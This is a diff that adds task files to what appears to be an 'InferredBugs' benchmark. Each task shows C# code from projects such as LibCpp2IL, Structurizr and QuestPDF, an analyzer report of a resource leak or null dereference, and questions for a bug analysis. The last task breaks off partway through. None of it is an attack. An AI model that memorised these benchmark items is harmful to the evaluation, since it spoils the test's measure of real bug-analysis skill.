+        private Il2CppParameterDefaultValue[] parameterDefaultValues;
+        public Il2CppPropertyDefinition[] propertyDefs;
+        public Il2CppCustomAttributeTypeRange[] attributeTypeRanges;
+        private Il2CppStringLiteral[] stringLiterals;
+        public Il2CppMetadataUsageList[] metadataUsageLists;
+        private Il2CppMetadataUsagePair[] metadataUsagePairs;
+        public Il2CppRGCTXDefinition[] RgctxDefinitions; //Moved to binary in v24.2
+        public int[] attributeTypes;
+        public int[] interfaceIndices;
+
+        //Moved to binary in v27.
+        public Dictionary<uint, SortedDictionary<uint, uint>> metadataUsageDic;
+
+        public long maxMetadataUsages;
+        public int[] nestedTypeIndices;
+        public Il2CppEventDefinition[] eventDefs;
+        public Il2CppGenericContainer[] genericContainers;
+        public Il2CppFieldRef[] fieldRefs;
+        public Il2CppGenericParameter[] genericParameters;
+        public int[] constraintIndices;
+
+        private readonly Dictionary<int, Il2CppFieldDefaultValue> _fieldDefaultValueLookup = new Dictionary<int, Il2CppFieldDefaultValue>();
+        private readonly Dictionary<Il2CppFieldDefinition, Il2CppFieldDefaultValue> _fieldDefaultLookupNew = new Dictionary<Il2CppFieldDefinition, Il2CppFieldDefaultValue>();
+
+        public static Il2CppMetadata? ReadFrom(byte[] bytes, int[] unityVer)
+        {
+            if (BitConverter.ToUInt32(bytes, 0) != 0xFAB11BAF)
+            {
+                //Magic number is wrong
+                throw new FormatException("Invalid or corrupt metadata (magic number check failed)");
+            }
+
+            var version = BitConverter.ToInt32(bytes, 4);
+            if (version < 24 || version > 29)
+            {
+                throw new FormatException("Unsupported metadata version found! We support 24-29, got " + version);
+            }
+
+            LibLogger.VerboseNewline($"\tIL2CPP Metadata Declares its version as {version}");
+
+            float actualVersion;
+            if (version == 27)
+            {
+                if (unityVer[0] == 2021 || (unityVer[0] == 2020 && unityVer[1] >= 3) || (unityVer[0] == 2020 && unityVer[1] == 2 && unityVer[2] >= 4)) actualVersion = 27.1f; //27.1 (2020.2.4) adds adjustorThunks on codegenModules and GenericMethodIndices
+                else if (unityVer[0] == 2020 && unityVer[1] >= 2) actualVersion = 27; //2020.2 introduces v27
+            }
+
+            if (version == 24)
+            {
+                if (unityVer[0] == 2019 && unityVer[1] == 4 && unityVer[2] >= 21) actualVersion = 24.5f;
+                //Note should there ever be a case of weird issues here, there *is* actually a 24.4, but it's barely ever used. Only change is AssemblyNameDefinition is missing
+                //the hashValueIndex field, which makes the number of assemblies mismatch the number of images.
+                //But we don't use AssemblyDefinitions anyway, so... /shrug.
+                else if ((unityVer[0] == 2019 && unityVer[1] >= 3) || (unityVer[0] == 2020 && unityVer[1] < 2)) actualVersion = 24.3f; //2019.3 - 2020.1 => 24.3
+                else if (unityVer[0] >= 2019) actualVersion = 24.2f; //2019.1 - 2019.2 => 24.2
+                else if (unityVer[0] == 2018 && unityVer[1] >= 3) actualVersion = 24.1f; //2018.3 - 2018.4 => 24.1
+                else actualVersion = version; //2018.1 - 2018.2 => 24
+            }
+            else actualVersion = version; //2018.1 - 2018.2 => 24
+
+            LibLogger.InfoNewline($"\tUsing actual IL2CPP Metadata version {actualVersion}");
+
+            LibCpp2IlMain.MetadataVersion = actualVersion;
+
+            return new Il2CppMetadata(new MemoryStream(bytes));
+        }
+
+        private Il2CppMetadata(MemoryStream stream) : base(stream)
+        {
+            metadataHeader = ReadClassAtRawAddr<Il2CppGlobalMetadataHeader>(-1);
+            if (metadataHeader.magicNumber != 0xFAB11BAF)
+            {
+                throw new Exception("ERROR: Magic number mismatch. Expecting " + 0xFAB11BAF + " but got " + metadataHeader.magicNumber);
+            }
+
+            if (metadataHeader.version < 24) throw new Exception("ERROR: Invalid metadata version, we only support v24+, this metadata is using v" + metadataHeader.version);
+
+            LibLogger.Verbose("\tReading image definitions...");
+            var start = DateTime.Now;
+            imageDefinitions = ReadMetadataClassArray<Il2CppImageDefinition>(metadataHeader.imagesOffset, metadataHeader.imagesCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading type definitions...");
+            start = DateTime.Now;
+            typeDefs = ReadMetadataClassArray<Il2CppTypeDefinition>(metadataHeader.typeDefinitionsOffset, metadataHeader.typeDefinitionsCount);
+            LibLogger.VerboseNewline($"{typeDefs.Length} OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading interface offsets...");
+            start = DateTime.Now;
+            interfaceOffsets = ReadMetadataClassArray<Il2CppInterfaceOffset>(metadataHeader.interfaceOffsetsOffset, metadataHeader.interfaceOffsetsCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading vtable indices...");
+            start = DateTime.Now;
+            VTableMethodIndices = ReadMetadataClassArray<uint>(metadataHeader.vtableMethodsOffset, metadataHeader.vtableMethodsCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading method definitions...");
+            start = DateTime.Now;
+            methodDefs = ReadMetadataClassArray<Il2CppMethodDefinition>(metadataHeader.methodsOffset, metadataHeader.methodsCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading method parameter definitions...");
+            start = DateTime.Now;
+            parameterDefs = ReadMetadataClassArray<Il2CppParameterDefinition>(metadataHeader.parametersOffset, metadataHeader.parametersCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading field definitions...");
+            start = DateTime.Now;
+            fieldDefs = ReadMetadataClassArray<Il2CppFieldDefinition>(metadataHeader.fieldsOffset, metadataHeader.fieldsCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading default field values...");
+            start = DateTime.Now;
+            fieldDefaultValues = ReadMetadataClassArray<Il2CppFieldDefaultValue>(metadataHeader.fieldDefaultValuesOffset, metadataHeader.fieldDefaultValuesCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading default parameter values...");
+            start = DateTime.Now;
+            parameterDefaultValues = ReadMetadataClassArray<Il2CppParameterDefaultValue>(metadataHeader.parameterDefaultValuesOffset, metadataHeader.parameterDefaultValuesCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading property definitions...");
+            start = DateTime.Now;
+            propertyDefs = ReadMetadataClassArray<Il2CppPropertyDefinition>(metadataHeader.propertiesOffset, metadataHeader.propertiesCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading interface definitions...");
+            start = DateTime.Now;
+            interfaceIndices = ReadClassArrayAtRawAddr<int>(metadataHeader.interfacesOffset, metadataHeader.interfacesCount / 4);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading nested type definitions...");
+            start = DateTime.Now;
+            nestedTypeIndices = ReadClassArrayAtRawAddr<int>(metadataHeader.nestedTypesOffset, metadataHeader.nestedTypesCount / 4);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading event definitions...");
+            start = DateTime.Now;
+            eventDefs = ReadMetadataClassArray<Il2CppEventDefinition>(metadataHeader.eventsOffset, metadataHeader.eventsCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading generic container definitions...");
+            start = DateTime.Now;
+            genericContainers = ReadMetadataClassArray<Il2CppGenericContainer>(metadataHeader.genericContainersOffset, metadataHeader.genericContainersCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tReading generic parameter definitions...");
+            start = DateTime.Now;
+            genericParameters = ReadMetadataClassArray<Il2CppGenericParameter>(metadataHeader.genericParametersOffset, metadataHeader.genericParametersCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+            
+            LibLogger.Verbose("\tReading generic parameter constraint indices...");
+            start = DateTime.Now;
+            constraintIndices = ReadMetadataClassArray<int>(metadataHeader.genericParameterConstraintsOffset, metadataHeader.genericParameterConstraintsCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            //v17+ fields
+            LibLogger.Verbose("\tReading string definitions...");
+            start = DateTime.Now;
+            stringLiterals = ReadMetadataClassArray<Il2CppStringLiteral>(metadataHeader.stringLiteralOffset, metadataHeader.stringLiteralCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            if (LibCpp2IlMain.MetadataVersion < 24.2f)
+            {
+                LibLogger.Verbose("\tReading RGCTX data...");
+                start = DateTime.Now;
+
+                RgctxDefinitions = ReadMetadataClassArray<Il2CppRGCTXDefinition>(metadataHeader.rgctxEntriesOffset, metadataHeader.rgctxEntriesCount);
+
+                LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+            }
+
+            //Removed in v27 (2020.2) and also 24.5 (2019.4.21)
+            if (LibCpp2IlMain.MetadataVersion < 27f)
+            {
+                LibLogger.Verbose("\tReading usage data...");
+                start = DateTime.Now;
+                metadataUsageLists = ReadMetadataClassArray<Il2CppMetadataUsageList>(metadataHeader.metadataUsageListsOffset, metadataHeader.metadataUsageListsCount);
+                metadataUsagePairs = ReadMetadataClassArray<Il2CppMetadataUsagePair>(metadataHeader.metadataUsagePairsOffset, metadataHeader.metadataUsagePairsCount);
+
+                DecipherMetadataUsage();
+                LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+            }
+
+            LibLogger.Verbose("\tReading field references...");
+            start = DateTime.Now;
+            fieldRefs = ReadMetadataClassArray<Il2CppFieldRef>(metadataHeader.fieldRefsOffset, metadataHeader.fieldRefsCount);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            //v21+ fields
+            LibLogger.Verbose("\tReading attribute types...");
+            start = DateTime.Now;
+            attributeTypeRanges = ReadMetadataClassArray<Il2CppCustomAttributeTypeRange>(metadataHeader.attributesInfoOffset, metadataHeader.attributesInfoCount);
+            attributeTypes = ReadClassArrayAtRawAddr<int>(metadataHeader.attributeTypesOffset, metadataHeader.attributeTypesCount / 4);
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+
+            LibLogger.Verbose("\tBuilding Lookup Table for field defaults...");
+            start = DateTime.Now;
+            foreach (var il2CppFieldDefaultValue in fieldDefaultValues)
+            {
+                _fieldDefaultValueLookup[il2CppFieldDefaultValue.fieldIndex] = il2CppFieldDefaultValue;
+                _fieldDefaultLookupNew[fieldDefs[il2CppFieldDefaultValue.fieldIndex]] = il2CppFieldDefaultValue;
+            }
+
+            LibLogger.VerboseNewline($"OK ({(DateTime.Now - start).TotalMilliseconds} ms)");
+        }
+#pragma warning restore 8618
+
+        private T[] ReadMetadataClassArray<T>(int offset, int length) where T : new()
+        {
+            return ReadClassArrayAtRawAddr<T>(offset, length / LibCpp2ILUtils.VersionAwareSizeOf(typeof(T), downsize: false));
+        }
+
+        private void DecipherMetadataUsage()
+        {
+            metadataUsageDic = new Dictionary<uint, SortedDictionary<uint, uint>>();
+            for (var i = 1u; i <= 6u; i++)
+            {
+                metadataUsageDic[i] = new SortedDictionary<uint, uint>();
+            }
+
+            foreach (var metadataUsageList in metadataUsageLists)
+            {
+                for (var i = 0; i < metadataUsageList.count; i++)
+                {
+                    var offset = metadataUsageList.start + i;
+                    var metadataUsagePair = metadataUsagePairs[offset];
+                    var usage = GetEncodedIndexType(metadataUsagePair.encodedSourceIndex);
+                    var decodedIndex = GetDecodedMethodIndex(metadataUsagePair.encodedSourceIndex);
+                    metadataUsageDic[usage][metadataUsagePair.destinationIndex] = decodedIndex;
+                }
+            }
+
+            maxMetadataUsages = metadataUsageDic.Max(x => x.Value.Max(y => y.Key)) + 1;
+        }
+
+        private uint GetEncodedIndexType(uint index)
+        {
+            return (index & 0xE0000000) >> 29;
+        }
+
+        private uint GetDecodedMethodIndex(uint index)
+        {
+            return index & 0x1FFFFFFFU;
+        }
+
+        //Getters for human readability
+        public Il2CppFieldDefaultValue? GetFieldDefaultValueFromIndex(int index)
+        {
+            return _fieldDefaultValueLookup.GetValueOrDefault(index);
+        }
+
+        public Il2CppFieldDefaultValue? GetFieldDefaultValue(Il2CppFieldDefinition field)
+        {
+            return _fieldDefaultLookupNew.GetValueOrDefault(field);
+        }
+
+        public (int ptr, int type) GetFieldDefaultValue(int fieldIdx)
+        {
+            var fieldDef = fieldDefs[fieldIdx];
+            var fieldType = LibCpp2IlMain.Binary!.GetType(fieldDef.typeIndex);
+            if ((fieldType.attrs & (int) FieldAttributes.HasFieldRVA) != 0)
+            {
+                var fieldDefault = GetFieldDefaultValueFromIndex(fieldIdx);
+
+                if (fieldDefault == null)
+                    return (-1, -1);
+
+                return (ptr: fieldDefault.dataIndex, type: fieldDefault.typeIndex);
+            }
+
+            return (-1, -1);
+        }
+
+        public Il2CppParameterDefaultValue? GetParameterDefaultValueFromIndex(int index)
+        {
+            return parameterDefaultValues.FirstOrDefault(x => x.parameterIndex == index);
+        }
+
+        public int GetDefaultValueFromIndex(int index)
+        {
+            return metadataHeader.fieldAndParameterDefaultValueDataOffset + index;
+        }
+
+        private ConcurrentDictionary<int, string> _cachedStrings = new ConcurrentDictionary<int, string>();
+
+        public string GetStringFromIndex(int index)
+        {
+            if (!_cachedStrings.ContainsKey(index))
+                _cachedStrings[index] = ReadStringToNull(metadataHeader.stringOffset + index);
+
+            return _cachedStrings[index];
+        }
+
+        private ConcurrentDictionary<Il2CppImageDefinition, Il2CppCustomAttributeTypeRange[]> _typeRangesByAssembly = new ();
+
+        public Il2CppCustomAttributeTypeRange? GetCustomAttributeData(Il2CppImageDefinition imageDef, int customAttributeIndex, uint token)
+        {
+            if (LibCpp2IlMain.MetadataVersion <= 24f)
+                return attributeTypeRanges[customAttributeIndex];
+
+            Il2CppCustomAttributeTypeRange[] range;
+            lock (_typeRangesByAssembly)
+            {
+                if (!_typeRangesByAssembly.ContainsKey(imageDef))
+                {
+                    range = attributeTypeRanges.SubArray(imageDef.customAttributeStart, (int) imageDef.customAttributeCount);
+                    _typeRangesByAssembly.TryAdd(imageDef, range);
+                }
+                else
+                {
+                    range = _typeRangesByAssembly[imageDef];
+                }
+            }
+
+            foreach (var r in range)
+            {
+                if (r.token == token) return r;
+            }
+
+            return null;
+        }
+
+        public string GetStringLiteralFromIndex(uint index)
+        {
+            var stringLiteral = stringLiterals[index];
+            Position = metadataHeader.stringLiteralDataOffset + stringLiteral.dataIndex;
+            return Encoding.UTF8.GetString(ReadBytes((int) stringLiteral.length));
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource return of type LibCpp2IL.Metadata.Il2CppMetadata, Leaked resource (output of System.IO.MemoryStream::.ctor() at Line 90) of type System.IO.MemoryStream in method "Il2CppMetadata Il2CppMetadata.ReadFrom(Byte[],Int32[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Il2CppMetadata Il2CppMetadata.ReadFrom(Byte[],Int32[])
+
+### File:
+LibCpp2IL/Metadata/Il2CppMetadata.cs
+
+### Key:
+Il2CppMetadata.cs|ReadFrom|DOTNET_RESOURCE_LEAK
+
+### Hash:
+c39e8c4cf55655e512ec66bbcb683afd
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1197/instruction.md b/inferredbugs-1197/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ade70eccba8e166ea89ce4b6d7648fa3afe81ba4
--- /dev/null
+++ b/inferredbugs-1197/instruction.md
@@ -0,0 +1,201 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** dotnet
+**Bug ID:** 13
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using Xunit;
+
+namespace Structurizr.Core.Tests
+{
+
+    
+    public class ElementTests : AbstractTestBase
+    {
+
+        [Fact]
+        public void Test_HasEfferentRelationshipWith_ReturnsFalse_WhenANullElementIsSpecified()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            Assert.False(softwareSystem1.HasEfferentRelationshipWith(null));
+        }
+
+        [Fact]
+        public void Test_HasEfferentRelationshipWith_ReturnsFalse_WhenTheSameElementIsSpecifiedAndNoCyclicRelationshipExists()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            Assert.False(softwareSystem1.HasEfferentRelationshipWith(softwareSystem1));
+        }
+
+        [Fact]
+        public void Test_HasEfferentRelationshipWith_ReturnsTrue_WhenTheSameElementIsSpecifiedAndACyclicRelationshipExists()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            softwareSystem1.Uses(softwareSystem1, "uses");
+            Assert.True(softwareSystem1.HasEfferentRelationshipWith(softwareSystem1));
+        }
+
+        [Fact]
+        public void Test_HasEfferentRelationshipWith_ReturnsTrue_WhenThereIsARelationship()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            SoftwareSystem softwareSystem2 = model.AddSoftwareSystem("System 2", "");
+            softwareSystem1.Uses(softwareSystem2, "uses");
+            Assert.True(softwareSystem1.HasEfferentRelationshipWith(softwareSystem2));
+        }
+
+        [Fact]
+        public void Test_GetEfferentRelationshipWith_ReturnsNull_WhenANullElementIsSpecified()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            Assert.Null(softwareSystem1.GetEfferentRelationshipWith(null));
+        }
+
+        [Fact]
+        public void Test_GetEfferentRelationshipWith_ReturnsNull_WhenTheSameElementIsSpecifiedAndNoCyclicRelationshipExists()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            Assert.Null(softwareSystem1.GetEfferentRelationshipWith(softwareSystem1));
+        }
+
+        [Fact]
+        public void Test_GetEfferentRelationshipWith_ReturnsCyclicRelationship_WhenTheSameElementIsSpecifiedAndACyclicRelationshipExists()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            softwareSystem1.Uses(softwareSystem1, "uses");
+
+            Relationship relationship = softwareSystem1.GetEfferentRelationshipWith(softwareSystem1);
+            Assert.Same(softwareSystem1, relationship.Source);
+            Assert.Equal("uses", relationship.Description);
+            Assert.Same(softwareSystem1, relationship.Destination);
+        }
+
+        [Fact]
+        public void Test_GetEfferentRelationshipWith_ReturnsTheRelationship_WhenThereIsARelationship()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            SoftwareSystem softwareSystem2 = model.AddSoftwareSystem("System 2", "");
+            softwareSystem1.Uses(softwareSystem2, "uses");
+
+            Relationship relationship = softwareSystem1.GetEfferentRelationshipWith(softwareSystem2);
+            Assert.Same(softwareSystem1, relationship.Source);
+            Assert.Equal("uses", relationship.Description);
+            Assert.Same(softwareSystem2, relationship.Destination);
+        }
+
+        [Fact]
+        public void Test_HasAfferentRelationships_ReturnsFalse_WhenThereAreNoIncomingRelationships()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            SoftwareSystem softwareSystem2 = model.AddSoftwareSystem("System 2", "");
+            softwareSystem1.Uses(softwareSystem2, "Uses");
+
+            Assert.False(softwareSystem1.HasAfferentRelationships());
+        }
+
+        [Fact]
+        public void Test_HasAfferentRelationships_ReturnsTrue_WhenThereAreIncomingRelationships()
+        {
+            SoftwareSystem softwareSystem1 = model.AddSoftwareSystem("System 1", "");
+            SoftwareSystem softwareSystem2 = model.AddSoftwareSystem("System 2", "");
+            softwareSystem1.Uses(softwareSystem2, "Uses");
+
+            Assert.True(softwareSystem2.HasAfferentRelationships());
+        }
+
+        [Fact]
+        public void Test_SetUrl_DoesNotThrowAnException_WhenANullUrlIsSpecified()
+        {
+            SoftwareSystem element = model.AddSoftwareSystem("Name", "Description");
+            element.Url = null;
+        }
+
+        [Fact]
+        public void Test_SetUrl_DoesNotThrowAnException_WhenAnEmptyUrlIsSpecified()
+        {
+            SoftwareSystem element = model.AddSoftwareSystem("Name", "Description");
+            element.Url = "";
+        }
+
+        [Fact]
+        public void Test_SetUrl_ThrowsAnException_WhenAnInvalidUrlIsSpecified()
+        {
+            try
+            {
+                SoftwareSystem element = model.AddSoftwareSystem("Name", "Description");
+                element.Url = "www.somedomain.com";
+                throw new TestFailedException();
+            }
+            catch (Exception e)
+            {
+                Assert.Equal("www.somedomain.com is not a valid URL.", e.Message);
+            }
+        }
+
+        [Fact]
+        public void Test_SetUrl_DoesNotThrowAnException_WhenAValidUrlIsSpecified()
+        {
+            SoftwareSystem element = model.AddSoftwareSystem("Name", "Description");
+            element.Url = "http://www.somedomain.com";
+            Assert.Equal("http://www.somedomain.com", element.Url);
+        }
+
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `element` last assigned on line 133 could be null and is dereferenced at line 134, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ElementTests.Test_SetUrl_DoesNotThrowAnException_WhenAValidUrlIsSpecified()
+
+### File:
+Structurizr.Core.Tests/Model/ElementTests.cs
+
+### Key:
+ElementTests.cs|Test_SetUrl_DoesNotThrowAnException_WhenAValidUrlIsSpecified|NULL_DEREFERENCE
+
+### Node Key:
+2492dd55e18d4854810eec2af8d6b86c
+
+### Hash:
+6093b73bddb6dea3c4a71c462b0f1c24
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1212/instruction.md b/inferredbugs-1212/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..29b21b18f68a1b797cb7a7a7a57cfb8265bfa20d
--- /dev/null
+++ b/inferredbugs-1212/instruction.md
@@ -0,0 +1,153 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** QuestPDF
+**Bug ID:** 13
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Avalonia;
+using Avalonia.Controls;
+using Avalonia.Media;
+using Avalonia.Threading;
+using QuestPDF.Infrastructure;
+
+namespace QuestPDF.Previewer
+{
+    internal class PreviewerControl : Control
+    {
+        public static readonly StyledProperty<IDocument?> DocumentProperty =
+            AvaloniaProperty.Register<PreviewerControl, IDocument?>(nameof(Document));
+
+        public IDocument? Document
+        {
+            get => GetValue(DocumentProperty);
+            set => SetValue(DocumentProperty, value);
+        }
+
+        public static readonly StyledProperty<bool> IsGeneratingDocumentProperty =
+            AvaloniaProperty.Register<PreviewerControl, bool>(nameof(IsGeneratingDocument));
+
+        public bool IsGeneratingDocument
+        {
+            get => GetValue(IsGeneratingDocumentProperty);
+            set => SetValue(IsGeneratingDocumentProperty, value);
+        }
+
+        public static readonly StyledProperty<double> PageSpacingProperty =
+            AvaloniaProperty.Register<PreviewerControl, double>(nameof(PageSpacing), 20);
+
+        public double PageSpacing
+        {
+            get => GetValue(PageSpacingProperty);
+            set => SetValue(PageSpacingProperty, value);
+        }
+
+        private readonly DocumentRenderer _renderer = new();
+
+        public PreviewerControl()
+        {
+            ClipToBounds = true;
+
+            _renderer.PageSpacing = (float)PageSpacing;
+            DocumentProperty.Changed.Subscribe(_ => _renderer.UpdateDocument(Document));
+            PageSpacingProperty.Changed.Subscribe(f => _renderer.PageSpacing = (float)f.NewValue.Value);
+        }
+
+        public override void Render(DrawingContext context)
+        {
+            IsGeneratingDocument = _renderer.IsRendering;
+            if (_renderer.IsRendering)
+                return;
+
+            if (_renderer.RenderException != null)
+            {
+                context.DrawRectangle(Brushes.Transparent, null, new Rect(0, 0, Bounds.Width, Bounds.Height));
+                DrawException(context, _renderer.RenderException);
+                return;
+            }
+
+            Width = _renderer.Bounds.Width;
+            Height = _renderer.Bounds.Height;
+
+            if (_renderer.Picture == null)
+                return;
+
+            context.Custom(new SkPictureRenderOperation(_renderer.Picture, new Rect(0, 0, Bounds.Width, Bounds.Height)));
+        }
+
+        internal void InvalidateDocument()
+        {
+            Dispatcher.UIThread.Post(() =>
+            {
+                _renderer.UpdateDocument(Document);
+                InvalidateVisual();
+            });
+        }
+
+        private void DrawException(DrawingContext context, Exception ex)
+        {
+            var parentBounds = Parent?.Bounds ?? Bounds;
+
+            var exceptionMsg = string.Join("\n", ex.GetType(), ex.Message);
+
+            var fmtText = new FormattedText($"Exception occured:\n{exceptionMsg}", 
+                Typeface.Default, 25, TextAlignment.Left, TextWrapping.Wrap, 
+                new Avalonia.Size(parentBounds.Width / 2, parentBounds.Height / 2));
+
+            var center = new Point((parentBounds.Width - fmtText.Bounds.Width) / 2, (parentBounds.Height - fmtText.Bounds.Height) / 2);
+            context.DrawText(Brushes.Black, center, fmtText);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of QuestPDF.Previewer.SkPictureRenderOperation::.ctor() at Line 68) of type QuestPDF.Previewer.SkPictureRenderOperation in method "Void PreviewerControl.Render(DrawingContext)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void PreviewerControl.Render(DrawingContext)
+
+### File:
+QuestPDF.Previewer/PreviewerControl.cs
+
+### Key:
+PreviewerControl.cs|Render|DOTNET_RESOURCE_LEAK
+
+### Hash:
+590a624af9b98a526c80d8218ce6bd38
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1213/instruction.md b/inferredbugs-1213/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..143f29cbe177f680dbd678c486010f03e78a135f
--- /dev/null
+++ b/inferredbugs-1213/instruction.md
@@ -0,0 +1,181 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** QuestPDF
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using NUnit.Framework;
+using QuestPDF.Drawing;
+using SkiaSharp;
+
+namespace QuestPDF.UnitTests
+{
+    [TestFixture]
+    public class FontStyleSetTests
+    {
+        private void ExpectComparisonOrder(SKFontStyle target, params SKFontStyle[] styles)
+        {
+            for (int i = 0; i < styles.Length - 1; i++)
+            {
+                Assert.True(FontStyleSet.IsBetterMatch(target, styles[i], styles[i + 1]));
+                Assert.False(FontStyleSet.IsBetterMatch(target, styles[i + 1], styles[i]));
+            }
+        }
+
+        [Test]
+        public void FontStyleSet_IsBetterMatch_CondensedWidth()
+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 4, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 3, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 6, SKFontStyleSlant.Upright)
+            );
+        }
+
+        [Test]
+        public void FontStyleSet_IsBetterMatch_ExpandedWidth()
+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(500, 6, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 6, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 7, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 8, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright)
+            );
+        }
+
+        [Test]
+        public void FontStyleSet_IsBetterMatch_ItalicSlant()
